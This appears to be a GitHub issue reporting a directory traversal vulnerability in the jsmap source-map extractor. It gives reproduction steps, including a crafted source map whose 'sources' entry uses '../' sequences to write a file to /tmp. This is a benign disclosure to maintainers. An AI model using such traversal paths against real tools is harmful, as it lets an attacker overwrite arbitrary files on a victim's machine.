jsmap icon indicating copy to clipboard operation
jsmap copied to clipboard

found a directory travel vulnerability in this tool

Open L0nm4r opened this issue 2 years ago • 0 comments

there are steps to test this vuln:

  1. touch test.js and test.js.map in web directory:

test.js:

//# sourceMappingURL=test.js.map

test.js.msp:

{
    "version": 3,
    "sources": ["../../../../../../tmp/pwned"],
    "names": [],
    "mappings": "",
    "file": "test.js",
    "sourcesContent": ["pwned!"],
    "sourceRoot": ""
}
  1. start a python http server: python3 -m http.server 8080
  2. use jsmap to extract: echo http://127.0.0.1:8080/test.js | ./js.map
  3. then cat /tmp/pwned

image

L0nm4r avatar Nov 20 '24 03:11 L0nm4r